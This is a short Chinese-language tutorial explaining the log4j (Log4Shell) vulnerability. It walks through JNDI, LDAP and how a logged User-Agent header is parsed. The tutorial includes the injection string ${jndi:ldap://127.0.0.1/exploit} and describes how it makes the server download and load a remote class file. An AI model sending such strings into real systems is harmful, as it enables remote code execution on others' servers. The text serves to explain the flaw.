log4j的bug跟sql注入的方式是一样的,如果不知道sql注入没关系,接着看。
想要知道log4j的bug,我们先来熟悉一下log4j的JNDI和LDAP
JNDI
JNDI即Java Naming and Directory Interface
(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
也就是说,通过jndi接口,传进去一个user就能得到一个对应的对象
LDAP
那ldap是什么呢?
你只需要简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个user进去,就能获取到数据。
这个就可以理解为,获取某一个地址的user数据,
eg: 127.0.0.1/user 这个就是通过JNDI下的LDAP,来找到服务器为127.0.0.1的user
漏洞原理
现在来看一下我们平时写的日志,如下
String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);
这个userAgent是获取请求头的信息,如果这个请求头信息的值,别人故意写成 ${jndi:ldap://127.0.0.1/exploit}
那么logger.info打印的时候,会发现带有${}这种特殊符号,就要特殊的处理
就会对这个userAgent进行解析,解析的时候,发现是jndi开头的,是jndi的扩展内容
就会继续解析,解析到后面会发现是ldap协议
ldap://127.0.0.1/exploit 这里是ldap开头(如果是http开头,就是http协议)
LDAP服务器在127.0.0.1,要查找的key是exploit。
最后,调用具体负责LDAP的模块去请求对应的数据。
得到的这个数据是普通数据是没有问题的,问题在于,如果给的数据是一个class文件。拿到这个文件之后,
(JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象)
构建成一个对象(这里就有问题了,假如 127.0.0.1 这个地址是黑客的地址,这个对象是一个恶意代码,就出现了漏洞)